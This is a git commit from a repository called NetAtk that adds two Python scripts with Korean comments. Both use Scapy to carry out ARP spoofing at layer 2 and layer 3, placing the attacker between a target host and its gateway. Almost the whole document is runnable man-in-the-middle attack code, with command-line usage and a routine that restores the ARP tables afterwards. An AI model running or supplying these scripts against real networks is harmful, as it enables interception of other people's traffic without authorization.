NetAtk.git

NetAtk

~
git clone https://github.com/debuman/NetAtk.git
commit 6ca4057f3c973d4f9669084aaa01e8ad5d33c13f
Author: Decoy Zero <110329244+devastator-x@users.noreply.github.com>
Date: Fri, 25 Oct 2024 01:17:50 +0900

Create repo and arp_spoof_L2, L3

Diffstat:
AARP_Spoofing/arp_spoof_L2.py | 78++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AARP_Spoofing/arp_spoof_L3.py | 78++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
2 files changed, 156 insertion(+), 0 deletion(-)

diff --git a/ARP_Spoofing/arp_spoof_L2.py b/ARP_Spoofing/arp_spoof_L2.py
@@ -0,0 +1,78 @@
+from scapy.all import *  # Scapy 라이브러리에서 필요한 모든 기능을 import
+import time  # 시간 지연 기능을 위해 import
+import sys   # 시스템 인자와 종료를 처리하기 위해 import
+
+def get_mac(ip):
+    """주어진 IP 주소에 대한 MAC 주소를 반환하는 함수"""
+    print(f"[*] {ip}에 대한 ARP 요청을 전송 중...")
+    
+    # ARP 요청을 전송하여 MAC 주소를 검색 (L2 계층에서 동작)
+    # Ether(dst="ff:ff:ff:ff:ff:ff")는 브로드캐스트로 ARP 요청을 보냄
+    # ARP(pdst=ip)는 특정 IP 주소의 MAC 주소를 요청하는 ARP 패킷 생성
+    answered, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, retry=10, verbose=False)
+    
+    # 응답이 있으면 MAC 주소를 반환
+    for send, receive in answered:
+        return receive[Ether].src
+    
+    # 응답이 없으면 None 반환
+    return None  
+
+
+def arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac):
+    """타겟과 게이트웨이 사이에서 L2 계층에서 ARP 스푸핑을 수행하는 함수"""
+    print(f"[*] L2 ARP 스푸핑 시작: 타겟 {target_ip} <-> 게이트웨이 {gateway_ip}")
+    
+    try:
+        while True:
+            # 타겟에게 자신의 MAC 주소를 게이트웨이의 MAC 주소로 속여 ARP 응답 패킷 전송 (L2 계층)
+            # Ether(dst=target_mac)으로 타겟에게 전송할 Ethernet 프레임을 생성, dst는 타겟의 MAC 주소
+            sendp(Ether(dst=target_mac) / ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False)
+            print(f"[+] 타겟 {target_ip}에게 위조된 ARP 패킷 전송")
+            
+            # 게이트웨이에게 자신의 MAC 주소를 타겟의 MAC 주소로 속여 ARP 응답 패킷 전송 (L2 계층)
+            # Ether(dst=gateway_mac)으로 게이트웨이에게 전송할 Ethernet 프레임을 생성, dst는 게이트웨이의 MAC 주소
+            sendp(Ether(dst=gateway_mac) / ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False)
+            print(f"[+] 게이트웨이 {gateway_ip}에게 위조된 ARP 패킷 전송")
+            
+            time.sleep(2)  # 2초마다 ARP 스푸핑 반복
+    except KeyboardInterrupt:
+        # Ctrl+C를 눌러 스푸핑을 중단하면, ARP 테이블 복구 함수를 호출
+        print("\n[*] 스푸핑 종료, ARP 테이블 복구 중...")
+        restore(target_ip, gateway_ip, target_mac, gateway_mac)
+
+
+def restore(target_ip, gateway_ip, target_mac, gateway_mac):
+    """네트워크를 원래 상태로 복구하는 함수 (L2 계층)"""
+    # 타겟과 게이트웨이에게 정상적인 ARP 패킷을 전송하여 ARP 테이블 복구
+    # Ether(dst=target_mac)은 타겟에게, Ether(dst=gateway_mac)은 게이트웨이에게 전송
+    sendp(Ether(dst=target_mac) / ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), count=3, verbose=False)
+    sendp(Ether(dst=gateway_mac) / ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), count=3, verbose=False)
+    print("[*] ARP 테이블 복구 완료.")
+
+
+if __name__ == "__main__":
+    # 명령행 인자가 부족할 경우 사용법 출력
+    if len(sys.argv) != 3:
+        print(f"사용법: {sys.argv[0]} <타겟 IP> <게이트웨이 IP>")
+        sys.exit(1)
+    
+    # 타겟과 게이트웨이의 IP 주소를 명령행 인자로 받음
+    target_ip = sys.argv[1]
+    gateway_ip = sys.argv[2]
+
+    # 타겟과 게이트웨이의 MAC 주소를 얻기 위한 함수 호출
+    target_mac = get_mac(target_ip)
+    if target_mac is None:
+        print(f"[!] 타겟 {target_ip}의 MAC 주소를 찾을 수 없습니다.")
+        sys.exit(1)
+    print(f"[+] 타겟 {target_ip}의 MAC 주소: {target_mac}")
+
+    gateway_mac = get_mac(gateway_ip)
+    if gateway_mac is None:
+        print(f"[!] 게이트웨이 {gateway_ip}의 MAC 주소를 찾을 수 없습니다.")
+        sys.exit(1)
+    print(f"[+] 게이트웨이 {gateway_ip}의 MAC 주소: {gateway_mac}")
+
+    # MAC 주소를 알아낸 후 ARP 스푸핑 공격 시작
+    arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac)
diff --git a/ARP_Spoofing/arp_spoof_L3.py b/ARP_Spoofing/arp_spoof_L3.py
@@ -0,0 +1,78 @@
+from scapy.all import *  # Scapy 라이브러리에서 필요한 모든 기능을 import
+import time  # 시간 지연 기능을 위해 import
+import sys   # 시스템 인자와 종료를 처리하기 위해 import
+
+def get_mac(ip):
+    """주어진 IP 주소에 대한 MAC 주소를 반환하는 함수"""
+    print(f"[*] {ip}에 대한 ARP 요청을 전송 중...")
+    
+    # ARP 요청을 전송하여 MAC 주소를 검색 (L3 계층에서 동작)
+    # Ether(dst="ff:ff:ff:ff:ff:ff")는 브로드캐스트로 ARP 요청을 보냄
+    # ARP(pdst=ip)는 특정 IP 주소의 MAC 주소를 요청하는 ARP 패킷 생성
+    answered, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, retry=10, verbose=False)
+    
+    # 응답이 있으면 MAC 주소를 반환
+    for send, receive in answered:
+        return receive[Ether].src
+    
+    # 응답이 없으면 None 반환
+    return None  
+
+
+def arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac):
+    """타겟과 게이트웨이 사이에서 L3 계층에서 ARP 스푸핑을 수행하는 함수"""
+    print(f"[*] L3 ARP 스푸핑 시작: 타겟 {target_ip} <-> 게이트웨이 {gateway_ip}")
+    
+    try:
+        while True:
+            # 타겟에게 자신의 IP 주소를 게이트웨이로 속이는 패킷 전송 (L3 계층)
+            # ARP 패킷에서 pdst는 타겟 IP, psrc는 게이트웨이 IP
+            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False)
+            print(f"[+] 타겟 {target_ip}에게 위조된 ARP 패킷 전송")
+            
+            # 게이트웨이에게 자신의 IP 주소를 타겟으로 속이는 패킷 전송 (L3 계층)
+            # ARP 패킷에서 pdst는 게이트웨이 IP, psrc는 타겟 IP
+            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False)
+            print(f"[+] 게이트웨이 {gateway_ip}에게 위조된 ARP 패킷 전송")
+            
+            time.sleep(2)  # 2초마다 ARP 스푸핑 반복
+    except KeyboardInterrupt:
+        # Ctrl+C를 눌러 스푸핑을 중단하면, ARP 테이블 복구 함수를 호출
+        print("\n[*] 스푸핑 종료, ARP 테이블 복구 중...")
+        restore(target_ip, gateway_ip, target_mac, gateway_mac)
+
+
+def restore(target_ip, gateway_ip, target_mac, gateway_mac):
+    """네트워크를 원래 상태로 복구하는 함수 (L3 계층)"""
+    # 타겟과 게이트웨이에게 정상적인 ARP 패킷을 전송하여 ARP 테이블 복구
+    # send()는 L3 계층에서 동작, pdst는 대상 IP, psrc는 출처 IP, hwsrc는 올바른 MAC 주소
+    send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), count=3, verbose=False)
+    send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), count=3, verbose=False)
+    print("[*] ARP 테이블 복구 완료.")
+
+
+if __name__ == "__main__":
+    # 명령행 인자가 부족할 경우 사용법 출력
+    if len(sys.argv) != 3:
+        print(f"사용법: {sys.argv[0]} <타겟 IP> <게이트웨이 IP>")
+        sys.exit(1)
+    
+    # 타겟과 게이트웨이의 IP 주소를 명령행 인자로 받음
+    target_ip = sys.argv[1]
+    gateway_ip = sys.argv[2]
+
+    # 타겟과 게이트웨이의 MAC 주소를 얻기 위한 함수 호출
+    target_mac = get_mac(target_ip)
+    if target_mac is None:
+        print(f"[!] 타겟 {target_ip}의 MAC 주소를 찾을 수 없습니다.")
+        sys.exit(1)
+    print(f"[+] 타겟 {target_ip}의 MAC 주소: {target_mac}")
+
+    gateway_mac = get_mac(gateway_ip)
+    if gateway_mac is None:
+        print(f"[!] 게이트웨이 {gateway_ip}의 MAC 주소를 찾을 수 없습니다.")
+        sys.exit(1)
+    print(f"[+] 게이트웨이 {gateway_ip}의 MAC 주소: {gateway_mac}")
+
+    # MAC 주소를 알아낸 후 ARP 스푸핑 공격 시작
+    arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac)